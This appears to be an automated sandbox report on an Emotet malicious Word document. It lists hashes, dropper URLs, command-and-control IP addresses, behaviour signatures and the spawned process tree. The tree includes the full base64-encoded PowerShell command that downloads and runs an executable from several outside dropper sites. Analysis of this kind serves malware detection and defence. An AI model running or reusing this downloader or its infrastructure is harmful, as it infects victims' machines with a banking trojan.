Analysis

  • max time kernel
    60s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    17/08/2020, 18:11

General

  • Target
    emotet_e1_4dd5ab66252f8c62ed437b7aa2ce0426029c40a38e511f9e124f54c2b3752a5d_2020-08-17__180923._doc.doc
  • Size 239KB
  • Sample200817-ack2xrpy4a
  • SHA256 4dd5ab66252f8c62ed437b7aa2ce0426029c40a38e511f9e124f54c2b3752a5d
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://ukasian.com/wp-admin/Znk3yozl/

  • exe.dropper

    http://techwala.net/wp-admin/tKX319361/

  • exe.dropper

    http://schladzalniki.eko-bart.pl/cgi-bin/7f53903/

  • exe.dropper

    https://mte1.cn/wp-includes/PkuVF1RiI/

  • exe.dropper

    http://topkadry.com.ua/cgi-bin/dhH718397/

Extracted

Family
  • emotet

C2
  • 45.173.88.33:80

  • 209.126.6.222:8080

  • 5.153.250.14:8080

  • 77.90.136.129:8080

  • 104.131.41.185:8080

  • 190.190.148.27:8080

  • 95.85.151.205:80

  • 46.28.111.142:7080

  • 91.222.77.105:80

  • 80.249.176.206:80

  • 83.169.21.32:7080

  • 213.60.96.117:80

  • 185.94.252.27:443

  • 89.32.150.160:8080

  • 12.162.84.2:8080

  • 81.198.69.61:80

  • 85.105.140.135:443

  • 202.4.57.96:80

  • 147.91.184.91:80

  • 192.241.143.52:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_4dd5ab66252f8c62ed437b7aa2ce0426029c40a38e511f9e124f54c2b3752a5d_2020-08-17__180923._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1032
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABUAGgAMABjAGYAdAAzAD0AKAAnAFUAOABuAHoAJwArACcAagBnACcAKwAnAG8AJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAZQBuAHYAOgB0AGUATQBwAFwATwBmAEYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAdQByAGkAdABgAFkAcAByAGAATwBUAG8AQwBgAG8AbAAiACAAPQAgACgAJwB0AGwAcwAxACcAKwAnADIALAAgAHQAbABzADEAJwArACcAMQAnACsAJwAsACAAdABsAHMAJwApADsAJABXAF8AYgA2AHEAeQAxACAAPQAgACgAJwBWAGQANQB2ACcAKwAnADYANQAnACsAJwAwACcAKQA7ACQAVgB3AHYAdwAyAGwAcAA9ACgAJwBCAG8AbgAnACsAJwA3ADMANwByACcAKQA7ACQAUwB6AHQANAA5AGYAMAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAewAnACsAJwAwAH0ATwBmACcAKwAnAGYAaQBjAGUAMgAwADEAOQB7ADAAfQAnACkAIAAgAC0ARgBbAEMASABBAHIAXQA5ADIAKQArACQAVwBfAGIANgBxAHkAMQArACgAJwAuACcAKwAnAGUAeABlACcAKQA7ACQAWABlAGIAYgA0AGoAagA9ACgAJwBQAHUAYgBtADUAJwArACcAZQAzACcAKQA7ACQARQA0ADEAdABrAG8AeAA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAFQALgB3AGUAYgBDAEwAaQBFAG4AVAA7ACQAUQAzAGUAcgB3ADMAZwA9ACgAJwBoAHQAdABwACcAKwAnADoAJwArACcALwAvAHUAawBhAHMAaQBhAG4ALgBjAG8AbQAvAHcAcAAtACcAKwAnAGEAJwArACcAZABtAGkAbgAnACsAJwAvAFoAbgAnACsAJwBrACcAKwAnADMAeQBvAHoAbAAvACoAaAB0AHQAcAA6ACcAKwAnAC8ALwB0ACcAKwAnAGUAYwBoAHcAYQBsAGEALgAnACsAJwBuAGUAdAAnACsAJwAvAHcAJwArACcAcAAtACcAKwAnAGEAZAAnACsAJwBtAGkAbgAvACcAKwAnAHQASwBYADMAJwArACcAMQA5ADMANgAxAC8AJwArACcAKgBoAHQAdABwADoALwAvAHMAYwBoACcAKwAnAGwAYQAnACsAJwBkAHoAJwArACcAYQBsAG4AaQBrAGkALgBlACcAKwAnAGsAbwAtAGIAJwArACcAYQByAHQAJwArACcALgBwAGwALwAnACsAJwBjAGcAaQAtAGIAaQAnACsAJwBuAC8AJwArACcANwBmADUAMwAnACsAJwA5ADAAMwAvACoAaAAnACsAJwB0AHQAcABzACcAKwAnADoALwAvAG0AdABlACcAKwAnADEALgBjACcAKwAnAG4ALwB3AHAALQBpAG4AYwAnACsAJwBsAHUAZABlAHMALwBQAGsAdQBWAEYAJwArACcAMQBSAGkASQAvACoAaAB0AHQAJwArACcAcAA6AC8ALwB0AG8AJwArACcAcABrACcAKwAnAGEAZAByAHkALgBjAG8AbQAuAHUAJwArACcAYQAnACsAJwAvAGMAZwBpAC0AYgBpACcAKwAnAG4ALwBkACcAKwAnAGgASAA3ADEAJwArACcAOAAzADkANwAnACsAJwAvACcAKQAuACIAUwBwAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABHAHIAagB1ADkAZwB6AD0AKAAnAE0AZwAnACsAJwB3ADcANAAnACsAJwB0ADEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVgA0AGEAZQBkADEAMAAgAGkAbgAgACQAUQAzAGUAcgB3ADMAZwApAHsAdAByAHkAewAkAEUANAAxAHQAawBvAHgALgAiAEQAbwBXAG4AYABMAE8AYABBAEQARgBJAGwARQAiACgAJABWADQAYQBlAGQAMQAwACwAIAAkAFMAegB0ADQAOQBmADAAKQA7ACQAUQB3AHoAMgA0ADkAegA9ACgAJwBKADgAXwBnAGsAJwArACcAZABtACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABTAHoAdAA0ADkAZgAwACkALgAiAEwARQBgAE4AZwBUAEgAIgAgAC0AZwBlACAAMwA5ADIANAA4ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAFMAegB0ADQAOQBmADAAKQA7ACQATQB3AGsAeAA4AGoAMgA9ACgAJwBPACcAKwAnAHUAdwAnACsAJwB4AG8ANwBkACcAKQA7AGIAcgBlAGEAawA7ACQAQwB6AGkAcABiAGUAbQA9ACgAJwBSAGgAYgAnACsAJwBnACcAKwAnAHMAaABvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBqAG0AOABwAGwAMgA9ACgAJwBZAGwAaQAnACsAJwBuAGQAOQBfACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:108
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Vd5v650.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Vd5v650.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1816
      • C:\Windows\SysWOW64\KBDCA\dbghelp.exe
        "C:\Windows\SysWOW64\KBDCA\dbghelp.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1644

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/108-8-0x000007FEF2170000-0x000007FEF2B5C000-memory.dmp

        memory/108-14-0x000000001C2E0000-0x000000001C2E1000-memory.dmp

        memory/108-9-0x0000000002260000-0x0000000002261000-memory.dmp

        memory/108-10-0x000000001AB80000-0x000000001AB81000-memory.dmp

        memory/108-11-0x0000000002620000-0x0000000002621000-memory.dmp

        memory/108-12-0x0000000002650000-0x0000000002651000-memory.dmp

        memory/108-13-0x000000001B5D0000-0x000000001B5D1000-memory.dmp

        memory/1032-2-0x0000000008A80000-0x0000000008A84000-memory.dmp

        memory/1032-6-0x000000000BF50000-0x000000000BF54000-memory.dmp

        memory/1032-5-0x000000000AED0000-0x000000000AED4000-memory.dmp

        memory/1032-4-0x0000000006EA0000-0x00000000070A0000-memory.dmp

        memory/1644-21-0x0000000000260000-0x000000000026C000-memory.dmp

        memory/1816-17-0x0000000000270000-0x000000000027C000-memory.dmp

        memory/1852-22-0x000007FEF2890000-0x000007FEF2B0A000-memory.dmp